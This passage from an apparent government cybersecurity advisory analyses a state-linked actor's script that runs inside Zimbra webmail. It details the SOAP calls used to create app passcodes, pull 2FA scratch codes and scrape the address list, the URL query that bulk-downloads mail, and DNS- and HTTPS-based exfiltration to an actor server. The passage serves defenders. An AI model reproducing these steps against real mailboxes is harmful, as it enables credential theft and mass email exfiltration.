<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
